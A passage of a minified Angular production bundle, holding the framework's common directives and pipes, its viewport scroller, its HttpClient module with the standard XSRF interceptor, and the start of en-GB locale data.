${(0,i.AaK)(t.item)}`);this._toggleClass(t.item,!0)}),t.forEachRemovedItem(t=>this._toggleClass(t.item,!1))}_applyClasses(t){t&&(Array.isArray(t)||t instanceof Set?t.forEach(t=>this._toggleClass(t,!0)):Object.keys(t).forEach(e=>this._toggleClass(e,!!t[e])))}_removeClasses(t){t&&(Array.isArray(t)||t instanceof Set?t.forEach(t=>this._toggleClass(t,!1)):Object.keys(t).forEach(t=>this._toggleClass(t,!1)))}_toggleClass(t,e){(t=t.trim())&&t.split(/\s+/g).forEach(t=>{e?this._renderer.addClass(this._ngEl.nativeElement,t):this._renderer.removeClass(this._ngEl.nativeElement,t)})}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.ZZ4),i.Y36(i.aQg),i.Y36(i.SBq),i.Y36(i.Qsj))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"}}),t})();class ut{constructor(t,e,n,i){this.$implicit=t,this.ngForOf=e,this.index=n,this.count=i}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let ht=(()=>{class t{constructor(t,e,n){this._viewContainer=t,this._template=e,this._differs=n,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForOf(t){this._ngForOf=t,this._ngForOfDirty=!0}set ngForTrackBy(t){this._trackByFn=t}get ngForTrackBy(){return this._trackByFn}set ngForTemplate(t){t&&(this._template=t)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const e=this._ngForOf;if(!this._differ&&e)try{this._differ=this._differs.find(e).create(this.ngForTrackBy)}catch(t){throw new Error(`Cannot find a differ supporting object '${e}' of type '${function(t){return t.name||typeof t}(e)}'. NgFor only supports binding to Iterables such as Arrays.`)}}if(this._differ){const t=this._differ.diff(this._ngForOf);t&&this._applyChanges(t)}}_applyChanges(t){const e=[];t.forEachOperation((t,n,i)=>{if(null==t.previousIndex){const n=this._viewContainer.createEmbeddedView(this._template,new ut(null,this._ngForOf,-1,-1),null===i?void 0:i),s=new dt(t,n);e.push(s)}else if(null==i)this._viewContainer.remove(null===n?void 0:n);else if(null!==n){const s=this._viewContainer.get(n);this._viewContainer.move(s,i);const r=new dt(t,s);e.push(r)}});for(let n=0;n<e.length;n++)this._perViewChange(e[n].view,e[n].record);for(let n=0,i=this._viewContainer.length;n<i;n++){const t=this._viewContainer.get(n);t.context.index=n,t.context.count=i,t.context.ngForOf=this._ngForOf}t.forEachIdentityChange(t=>{this._viewContainer.get(t.currentIndex).context.$implicit=t.item})}_perViewChange(t,e){t.context.$implicit=e.item}static ngTemplateContextGuard(t,e){return!0}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(i.ZZ4))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"}}),t})();class dt{constructor(t,e){this.record=t,this.view=e}}let pt=(()=>{class t{constructor(t,e){this._viewContainer=t,this._context=new ft,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=e}set ngIf(t){this._context.$implicit=this._context.ngIf=t,this._updateView()}set ngIfThen(t){mt("ngIfThen",t),this._thenTemplateRef=t,this._thenViewRef=null,this._updateView()}set ngIfElse(t){mt("ngIfElse",t),this._elseTemplateRef=t,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(t,e){return!0}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"}}),t})();class ft{constructor(){this.$implicit=null,this.ngIf=null}}function mt(t,e){if(e&&!e.createEmbeddedView)throw new Error(`${t} must be a TemplateRef, but received '${(0,i.AaK)(e)}'.`)}class gt{constructor(t,e){this._viewContainerRef=t,this._templateRef=e,this._created=!1}create(){this._created=!0,this._viewContainerRef.createEmbeddedView(this._templateRef)}destroy(){this._created=!1,this._viewContainerRef.clear()}enforceState(t){t&&!this._created?this.create():!t&&this._created&&this.destroy()}}let _t=(()=>{class t{constructor(){this._defaultUsed=!1,this._caseCount=0,this._lastCaseCheckIndex=0,this._lastCasesMatched=!1}set ngSwitch(t){this._ngSwitch=t,0===this._caseCount&&this._updateDefaultCases(!0)}_addCase(){return this._caseCount++}_addDefault(t){this._defaultViews||(this._defaultViews=[]),this._defaultViews.push(t)}_matchCase(t){const e=t==this._ngSwitch;return this._lastCasesMatched=this._lastCasesMatched||e,this._lastCaseCheckIndex++,this._lastCaseCheckIndex===this._caseCount&&(this._updateDefaultCases(!this._lastCasesMatched),this._lastCaseCheckIndex=0,this._lastCasesMatched=!1),e}_updateDefaultCases(t){if(this._defaultViews&&t!==this._defaultUsed){this._defaultUsed=t;for(let e=0;e<this._defaultViews.length;e++)this._defaultViews[e].enforceState(t)}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitch",""]],inputs:{ngSwitch:"ngSwitch"}}),t})(),vt=(()=>{class t{constructor(t,e,n){this.ngSwitch=n,n._addCase(),this._view=new gt(t,e)}ngDoCheck(){this._view.enforceState(this.ngSwitch._matchCase(this.ngSwitchCase))}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(_t,9))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitchCase",""]],inputs:{ngSwitchCase:"ngSwitchCase"}}),t})(),bt=(()=>{class t{constructor(t,e,n){n._addDefault(new gt(t,e))}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(_t,9))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitchDefault",""]]}),t})(),yt=(()=>{class t{constructor(t,e,n){this._ngEl=t,this._differs=e,this._renderer=n,this._ngStyle=null,this._differ=null}set ngStyle(t){this._ngStyle=t,!this._differ&&t&&(this._differ=this._differs.find(t).create())}ngDoCheck(){if(this._differ){const t=this._differ.diff(this._ngStyle);t&&this._applyChanges(t)}}_setStyle(t,e){const[n,i]=t.split(".");null!=(e=null!=e&&i?`${e}${i}`:e)?this._renderer.setStyle(this._ngEl.nativeElement,n,e):this._renderer.removeStyle(this._ngEl.nativeElement,n)}_applyChanges(t){t.forEachRemovedItem(t=>this._setStyle(t.key,null)),t.forEachAddedItem(t=>this._setStyle(t.key,t.currentValue)),t.forEachChangedItem(t=>this._setStyle(t.key,t.currentValue))}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.aQg),i.Y36(i.Qsj))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngStyle",""]],inputs:{ngStyle:"ngStyle"}}),t})(),wt=(()=>{class t{constructor(t){this._viewContainerRef=t,this._viewRef=null,this.ngTemplateOutletContext=null,this.ngTemplateOutlet=null}ngOnChanges(t){if(t.ngTemplateOutlet){const t=this._viewContainerRef;this._viewRef&&t.remove(t.indexOf(this._viewRef)),this._viewRef=this.ngTemplateOutlet?t.createEmbeddedView(this.ngTemplateOutlet,this.ngTemplateOutletContext):null}else this._viewRef&&t.ngTemplateOutletContext&&this.ngTemplateOutletContext&&(this._viewRef.context=this.ngTemplateOutletContext)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngTemplateOutlet",""]],inputs:{ngTemplateOutletContext:"ngTemplateOutletContext",ngTemplateOutlet:"ngTemplateOutlet"},features:[i.TTD]}),t})();function xt(t,e){return Error(`InvalidPipeArgument: '${e}' for pipe '${(0,i.AaK)(t)}'`)}class Ct{createSubscription(t,e){return t.subscribe({next:e,error:t=>{throw t}})}dispose(t){t.unsubscribe()}onDestroy(t){t.unsubscribe()}}class St{createSubscription(t,e){return t.then(e,t=>{throw t})}dispose(t){}onDestroy(t){}}const Et=new St,kt=new Ct;let Tt=(()=>{class t{constructor(t){this._ref=t,this._latestValue=null,this._subscription=null,this._obj=null,this._strategy=null}ngOnDestroy(){this._subscription&&this._dispose()}transform(t){return this._obj?t!==this._obj?(this._dispose(),this.transform(t)):this._latestValue:(t&&this._subscribe(t),this._latestValue)}_subscribe(t){this._obj=t,this._strategy=this._selectStrategy(t),this._subscription=this._strategy.createSubscription(t,e=>this._updateLatestValue(t,e))}_selectStrategy(e){if((0,i.QGY)(e))return Et;if((0,i.F4k)(e))return kt;throw xt(t,e)}_dispose(){this._strategy.dispose(this._subscription),this._latestValue=null,this._subscription=null,this._obj=null}_updateLatestValue(t,e){t===this._obj&&(this._latestValue=e,this._ref.markForCheck())}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.sBO,16))},t.\u0275pipe=i.Yjl({name:"async",type:t,pure:!1}),t})(),At=(()=>{class t{constructor(t){this.locale=t}transform(e,n="mediumDate",i,s){if(null==e||""===e||e!=e)return null;try{return q(e,n,s||this.locale,i)}catch(r){throw xt(t,r.message)}}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.soG,16))},t.\u0275pipe=i.Yjl({name:"date",type:t,pure:!0}),t})(),It=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:[{provide:rt,useClass:ot}]}),t})();const Ot="browser";function Rt(t){return t===Ot}function Pt(t){return"server"===t}let Nt=(()=>{class t{}return t.\u0275prov=(0,i.Yz7)({token:t,providedIn:"root",factory:()=>new Dt((0,i.LFG)(c),window)}),t})();class Dt{constructor(t,e){this.document=t,this.window=e,this.offset=()=>[0,0]}setOffset(t){this.offset=Array.isArray(t)?()=>t:t}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(t){this.supportsScrolling()&&this.window.scrollTo(t[0],t[1])}scrollToAnchor(t){if(!this.supportsScrolling())return;const e=function(t,e){const n=t.getElementById(e)||t.getElementsByName(e)[0];if(n)return n;if("function"==typeof t.createTreeWalker&&t.body&&(t.body.createShadowRoot||t.body.attachShadow)){const n=t.createTreeWalker(t.body,NodeFilter.SHOW_ELEMENT);let i=n.currentNode;for(;i;){const t=i.shadowRoot;if(t){const n=t.getElementById(e)||t.querySelector(`[name="${e}"]`);if(n)return n}i=n.nextNode()}}return null}(this.document,t);e&&(this.scrollToElement(e),this.attemptFocus(e))}setHistoryScrollRestoration(t){if(this.supportScrollRestoration()){const e=this.window.history;e&&e.scrollRestoration&&(e.scrollRestoration=t)}}scrollToElement(t){const e=t.getBoundingClientRect(),n=e.left+this.window.pageXOffset,i=e.top+this.window.pageYOffset,s=this.offset();this.window.scrollTo(n-s[0],i-s[1])}attemptFocus(t){return t.focus(),this.document.activeElement===t}supportScrollRestoration(){try{if(!this.supportsScrolling())return!1;const t=Lt(this.window.history)||Lt(Object.getPrototypeOf(this.window.history));return!(!t||!t.writable&&!t.set)}catch(t){return!1}}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch(t){return!1}}}function Lt(t){return Object.getOwnPropertyDescriptor(t,"scrollRestoration")}class Mt{}},53882:function(t,e,n){"use strict";n.d(e,{TP:function(){return P},eN:function(){return O},JF:function(){return G},WM:function(){return d},LE:function(){return v}});var i=n(54364),s=n(2316),r=n(81134),o=n(89544),a=n(56816),c=n(9170),l=n(33927);class u{}class h{}class d{constructor(t){this.normalizedNames=new Map,this.lazyUpdate=null,t?this.lazyInit="string"==typeof t?()=>{this.headers=new Map,t.split("\n").forEach(t=>{const e=t.indexOf(":");if(e>0){const n=t.slice(0,e),i=n.toLowerCase(),s=t.slice(e+1).trim();this.maybeSetNormalizedName(n,i),this.headers.has(i)?this.headers.get(i).push(s):this.headers.set(i,[s])}})}:()=>{this.headers=new Map,Object.keys(t).forEach(e=>{let n=t[e];const i=e.toLowerCase();"string"==typeof n&&(n=[n]),n.length>0&&(this.headers.set(i,n),this.maybeSetNormalizedName(e,i))})}:this.headers=new Map}has(t){return this.init(),this.headers.has(t.toLowerCase())}get(t){this.init();const e=this.headers.get(t.toLowerCase());return e&&e.length>0?e[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(t){return this.init(),this.headers.get(t.toLowerCase())||null}append(t,e){return this.clone({name:t,value:e,op:"a"})}set(t,e){return this.clone({name:t,value:e,op:"s"})}delete(t,e){return this.clone({name:t,value:e,op:"d"})}maybeSetNormalizedName(t,e){this.normalizedNames.has(e)||this.normalizedNames.set(e,t)}init(){this.lazyInit&&(this.lazyInit instanceof d?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(t=>this.applyUpdate(t)),this.lazyUpdate=null))}copyFrom(t){t.init(),Array.from(t.headers.keys()).forEach(e=>{this.headers.set(e,t.headers.get(e)),this.normalizedNames.set(e,t.normalizedNames.get(e))})}clone(t){const e=new d;return e.lazyInit=this.lazyInit&&this.lazyInit instanceof d?this.lazyInit:this,e.lazyUpdate=(this.lazyUpdate||[]).concat([t]),e}applyUpdate(t){const e=t.name.toLowerCase();switch(t.op){case"a":case"s":let n=t.value;if("string"==typeof n&&(n=[n]),0===n.length)return;this.maybeSetNormalizedName(t.name,e);const i=("a"===t.op?this.headers.get(e):void 0)||[];i.push(...n),this.headers.set(e,i);break;case"d":const s=t.value;if(s){let t=this.headers.get(e);if(!t)return;t=t.filter(t=>-1===s.indexOf(t)),0===t.length?(this.headers.delete(e),this.normalizedNames.delete(e)):this.headers.set(e,t)}else this.headers.delete(e),this.normalizedNames.delete(e)}}forEach(t){this.init(),Array.from(this.normalizedNames.keys()).forEach(e=>t(this.normalizedNames.get(e),this.headers.get(e)))}}class p{encodeKey(t){return g(t)}encodeValue(t){return g(t)}decodeKey(t){return decodeURIComponent(t)}decodeValue(t){return decodeURIComponent(t)}}const f=/%(\d[a-f0-9])/gi,m={40:"@","3A":":",24:"$","2C":",","3B":";","2B":"+","3D":"=","3F":"?","2F":"/"};function g(t){return encodeURIComponent(t).replace(f,(t,e)=>{var n;return null!==(n=m[e])&&void 0!==n?n:t})}function _(t){return`${t}`}class v{constructor(t={}){if(this.updates=null,this.cloneFrom=null,this.encoder=t.encoder||new p,t.fromString){if(t.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function(t,e){const n=new Map;return t.length>0&&t.replace(/^\?/,"").split("&").forEach(t=>{const i=t.indexOf("="),[s,r]=-1==i?[e.decodeKey(t),""]:[e.decodeKey(t.slice(0,i)),e.decodeValue(t.slice(i+1))],o=n.get(s)||[];o.push(r),n.set(s,o)}),n}(t.fromString,this.encoder)}else t.fromObject?(this.map=new Map,Object.keys(t.fromObject).forEach(e=>{const n=t.fromObject[e];this.map.set(e,Array.isArray(n)?n:[n])})):this.map=null}has(t){return this.init(),this.map.has(t)}get(t){this.init();const e=this.map.get(t);return e?e[0]:null}getAll(t){return this.init(),this.map.get(t)||null}keys(){return this.init(),Array.from(this.map.keys())}append(t,e){return this.clone({param:t,value:e,op:"a"})}appendAll(t){const e=[];return Object.keys(t).forEach(n=>{const i=t[n];Array.isArray(i)?i.forEach(t=>{e.push({param:n,value:t,op:"a"})}):e.push({param:n,value:i,op:"a"})}),this.clone(e)}set(t,e){return this.clone({param:t,value:e,op:"s"})}delete(t,e){return this.clone({param:t,value:e,op:"d"})}toString(){return this.init(),this.keys().map(t=>{const e=this.encoder.encodeKey(t);return this.map.get(t).map(t=>e+"="+this.encoder.encodeValue(t)).join("&")}).filter(t=>""!==t).join("&")}clone(t){const e=new v({encoder:this.encoder});return e.cloneFrom=this.cloneFrom||this,e.updates=(this.updates||[]).concat(t),e}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(t=>this.map.set(t,this.cloneFrom.map.get(t))),this.updates.forEach(t=>{switch(t.op){case"a":case"s":const e=("a"===t.op?this.map.get(t.param):void 0)||[];e.push(_(t.value)),this.map.set(t.param,e);break;case"d":if(void 0===t.value){this.map.delete(t.param);break}{let e=this.map.get(t.param)||[];const n=e.indexOf(_(t.value));-1!==n&&e.splice(n,1),e.length>0?this.map.set(t.param,e):this.map.delete(t.param)}}}),this.cloneFrom=this.updates=null)}}class b{constructor(){this.map=new Map}set(t,e){return this.map.set(t,e),this}get(t){return this.map.has(t)||this.map.set(t,t.defaultValue()),this.map.get(t)}delete(t){return this.map.delete(t),this}keys(){return this.map.keys()}}function y(t){return"undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer}function w(t){return"undefined"!=typeof Blob&&t instanceof Blob}function x(t){return"undefined"!=typeof FormData&&t instanceof FormData}class C{constructor(t,e,n,i){let s;if(this.url=e,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=t.toUpperCase(),function(t){switch(t){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||i?(this.body=void 0!==n?n:null,s=i):s=n,s&&(this.reportProgress=!!s.reportProgress,this.withCredentials=!!s.withCredentials,s.responseType&&(this.responseType=s.responseType),s.headers&&(this.headers=s.headers),s.context&&(this.context=s.context),s.params&&(this.params=s.params)),this.headers||(this.headers=new d),this.context||(this.context=new b),this.params){const t=this.params.toString();if(0===t.length)this.urlWithParams=e;else{const n=e.indexOf("?");this.urlWithParams=e+(-1===n?"?":n<e.length-1?"&":"")+t}}else this.params=new v,this.urlWithParams=e}serializeBody(){return null===this.body?null:y(this.body)||w(this.body)||x(this.body)||"undefined"!=typeof URLSearchParams&&this.body instanceof URLSearchParams||"string"==typeof this.body?this.body:this.body instanceof v?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||x(this.body)?null:w(this.body)?this.body.type||null:y(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof v?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof this.body?"application/json":null}clone(t={}){var e;const n=t.method||this.method,i=t.url||this.url,s=t.responseType||this.responseType,r=void 0!==t.body?t.body:this.body,o=void 0!==t.withCredentials?t.withCredentials:this.withCredentials,a=void 0!==t.reportProgress?t.reportProgress:this.reportProgress;let c=t.headers||this.headers,l=t.params||this.params;const u=null!==(e=t.context)&&void 0!==e?e:this.context;return void 0!==t.setHeaders&&(c=Object.keys(t.setHeaders).reduce((e,n)=>e.set(n,t.setHeaders[n]),c)),t.setParams&&(l=Object.keys(t.setParams).reduce((e,n)=>e.set(n,t.setParams[n]),l)),new C(n,i,r,{params:l,headers:c,context:u,reportProgress:a,responseType:s,withCredentials:o})}}var S=(()=>((S=S||{})[S.Sent=0]="Sent",S[S.UploadProgress=1]="UploadProgress",S[S.ResponseHeader=2]="ResponseHeader",S[S.DownloadProgress=3]="DownloadProgress",S[S.Response=4]="Response",S[S.User=5]="User",S))();class E{constructor(t,e=200,n="OK"){this.headers=t.headers||new d,this.status=void 0!==t.status?t.status:e,this.statusText=t.statusText||n,this.url=t.url||null,this.ok=this.status>=200&&this.status<300}}class k extends E{constructor(t={}){super(t),this.type=S.ResponseHeader}clone(t={}){return new k({headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class T extends E{constructor(t={}){super(t),this.type=S.Response,this.body=void 0!==t.body?t.body:null}clone(t={}){return new T({body:void 0!==t.body?t.body:this.body,headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class A extends E{constructor(t){super(t,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${t.url||"(unknown url)"}`:`Http failure response for ${t.url||"(unknown url)"}: ${t.status} ${t.statusText}`,this.error=t.error||null}}function I(t,e){return{body:e,headers:t.headers,context:t.context,observe:t.observe,params:t.params,reportProgress:t.reportProgress,responseType:t.responseType,withCredentials:t.withCredentials}}let O=(()=>{class t{constructor(t){this.handler=t}request(t,e,n={}){let i;if(t instanceof C)i=t;else{let s,r;s=n.headers instanceof d?n.headers:new d(n.headers),n.params&&(r=n.params instanceof v?n.params:new v({fromObject:n.params})),i=new C(t,e,void 0!==n.body?n.body:null,{headers:s,context:n.context,params:r,reportProgress:n.reportProgress,responseType:n.responseType||"json",withCredentials:n.withCredentials})}const s=(0,r.of)(i).pipe((0,a.b)(t=>this.handler.handle(t)));if(t instanceof C||"events"===n.observe)return s;const o=s.pipe((0,c.h)(t=>t instanceof T));switch(n.observe||"body"){case"body":switch(i.responseType){case"arraybuffer":return o.pipe((0,l.U)(t=>{if(null!==t.body&&!(t.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return t.body}));case"blob":return o.pipe((0,l.U)(t=>{if(null!==t.body&&!(t.body instanceof Blob))throw new Error("Response is not a Blob.");return t.body}));case"text":return o.pipe((0,l.U)(t=>{if(null!==t.body&&"string"!=typeof t.body)throw new Error("Response is not a string.");return t.body}));case"json":default:return o.pipe((0,l.U)(t=>t.body))}case"response":return o;default:throw new Error(`Unreachable: unhandled observe type ${n.observe}}`)}}delete(t,e={}){return this.request("DELETE",t,e)}get(t,e={}){return this.request("GET",t,e)}head(t,e={}){return this.request("HEAD",t,e)}jsonp(t,e){return this.request("JSONP",t,{params:(new v).append(e,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(t,e={}){return this.request("OPTIONS",t,e)}patch(t,e,n={}){return this.request("PATCH",t,I(n,e))}post(t,e,n={}){return this.request("POST",t,I(n,e))}put(t,e,n={}){return this.request("PUT",t,I(n,e))}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(u))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();class R{constructor(t,e){this.next=t,this.interceptor=e}handle(t){return this.interceptor.intercept(t,this.next)}}const P=new s.OlP("HTTP_INTERCEPTORS");let N=(()=>{class t{intercept(t,e){return e.handle(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const D=/^\)\]\}',?\n/;let L=(()=>{class t{constructor(t){this.xhrFactory=t}handle(t){if("JSONP"===t.method)throw new Error("Attempted to construct Jsonp request without HttpClientJsonpModule installed.");return new o.y(e=>{const n=this.xhrFactory.build();if(n.open(t.method,t.urlWithParams),t.withCredentials&&(n.withCredentials=!0),t.headers.forEach((t,e)=>n.setRequestHeader(t,e.join(","))),t.headers.has("Accept")||n.setRequestHeader("Accept","application/json, text/plain, */*"),!t.headers.has("Content-Type")){const e=t.detectContentTypeHeader();null!==e&&n.setRequestHeader("Content-Type",e)}if(t.responseType){const e=t.responseType.toLowerCase();n.responseType="json"!==e?e:"text"}const i=t.serializeBody();let s=null;const r=()=>{if(null!==s)return s;const e=1223===n.status?204:n.status,i=n.statusText||"OK",r=new d(n.getAllResponseHeaders()),o=function(t){return"responseURL"in t&&t.responseURL?t.responseURL:/^X-Request-URL:/m.test(t.getAllResponseHeaders())?t.getResponseHeader("X-Request-URL"):null}(n)||t.url;return s=new k({headers:r,status:e,statusText:i,url:o}),s},o=()=>{let{headers:i,status:s,statusText:o,url:a}=r(),c=null;204!==s&&(c=void 0===n.response?n.responseText:n.response),0===s&&(s=c?200:0);let l=s>=200&&s<300;if("json"===t.responseType&&"string"==typeof c){const t=c;c=c.replace(D,"");try{c=""!==c?JSON.parse(c):null}catch(u){c=t,l&&(l=!1,c={error:u,text:c})}}l?(e.next(new T({body:c,headers:i,status:s,statusText:o,url:a||void 0})),e.complete()):e.error(new A({error:c,headers:i,status:s,statusText:o,url:a||void 0}))},a=t=>{const{url:i}=r(),s=new A({error:t,status:n.status||0,statusText:n.statusText||"Unknown Error",url:i||void 0});e.error(s)};let c=!1;const l=i=>{c||(e.next(r()),c=!0);let s={type:S.DownloadProgress,loaded:i.loaded};i.lengthComputable&&(s.total=i.total),"text"===t.responseType&&!!n.responseText&&(s.partialText=n.responseText),e.next(s)},u=t=>{let n={type:S.UploadProgress,loaded:t.loaded};t.lengthComputable&&(n.total=t.total),e.next(n)};return n.addEventListener("load",o),n.addEventListener("error",a),n.addEventListener("timeout",a),n.addEventListener("abort",a),t.reportProgress&&(n.addEventListener("progress",l),null!==i&&n.upload&&n.upload.addEventListener("progress",u)),n.send(i),e.next({type:S.Sent}),()=>{n.removeEventListener("error",a),n.removeEventListener("abort",a),n.removeEventListener("load",o),n.removeEventListener("timeout",a),t.reportProgress&&(n.removeEventListener("progress",l),null!==i&&n.upload&&n.upload.removeEventListener("progress",u)),n.readyState!==n.DONE&&n.abort()}})}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.JF))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const M=new s.OlP("XSRF_COOKIE_NAME"),F=new s.OlP("XSRF_HEADER_NAME");class U{}let B=(()=>{class t{constructor(t,e,n){this.doc=t,this.platform=e,this.cookieName=n,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const t=this.doc.cookie||"";return t!==this.lastCookieString&&(this.parseCount++,this.lastToken=(0,i.Mx)(t,this.cookieName),this.lastCookieString=t),this.lastToken}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0),s.LFG(s.Lbi),s.LFG(M))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),j=(()=>{class t{constructor(t,e){this.tokenService=t,this.headerName=e}intercept(t,e){const n=t.url.toLowerCase();if("GET"===t.method||"HEAD"===t.method||n.startsWith("http://")||n.startsWith("https://"))return e.handle(t);const i=this.tokenService.getToken();return null!==i&&!t.headers.has(this.headerName)&&(t=t.clone({headers:t.headers.set(this.headerName,i)})),e.handle(t)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(U),s.LFG(F))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),H=(()=>{class t{constructor(t,e){this.backend=t,this.injector=e,this.chain=null}handle(t){if(null===this.chain){const t=this.injector.get(P,[]);this.chain=t.reduceRight((t,e)=>new R(t,e),this.backend)}return this.chain.handle(t)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(h),s.LFG(s.zs3))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),V=(()=>{class t{static disable(){return{ngModule:t,providers:[{provide:j,useClass:N}]}}static withOptions(e={}){return{ngModule:t,providers:[e.cookieName?{provide:M,useValue:e.cookieName}:[],e.headerName?{provide:F,useValue:e.headerName}:[]]}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:[j,{provide:P,useExisting:j,multi:!0},{provide:U,useClass:B},{provide:M,useValue:"XSRF-TOKEN"},{provide:F,useValue:"X-XSRF-TOKEN"}]}),t})(),G=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:[O,{provide:u,useClass:H},L,{provide:h,useExisting:L}],imports:[[V.withOptions({cookieName:"XSRF-TOKEN",headerName:"X-XSRF-TOKEN"})]]}),t})()},6721:function(t,e,n){var i,s,r;!function(o){if("object"==typeof t.exports){var a=o(0,e);void 0!==a&&(t.exports=a)}else s=[n,e],void 0!==(r="function"==typeof(i=o)?i.apply(e,s):i)&&(t.exports=r)}(function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=void 0;e.default=["en-GB",[["a","p"],["am","pm"],n],[["am","pm"],n,n],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],n,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],n,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],1,[6,0],["dd/MM/y","d MMM y","d MMMM y","EEEE, d MMMM y"],["HH:mm","HH:mm:ss","HH:mm:ss z","HH:mm:ss zzzz"],["{1}, {0}",n,"{1} 'at' {0}",n],[".",",",";","%","+","-","E","\xd7","\u2030","\u221e","NaN",":"],["#,##0.###","#,##0%","\xa4#,##0.00","#E0"],"GBP","\xa3","British Pound",{JPY:["JP\xa5","\xa5"],USD:["US$","$"]},"ltr",function(t){var e=Math.floor(Math.abs(t)),n=t.toString().replace(/^[^.]*\.?/,"").length;return 1===e&&0===n?1:5}]})},64062:function(t,e,n){var i,s,r;!function(o){if("object"==typeof t.exports){var a=o(0,e);void 0!==a&&(t.exports=a)}else s=[n,e],void 0!==(r="function"==typeof(i=o)?i.apply(e,s):i)&&(t.exports=r)}(function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=void 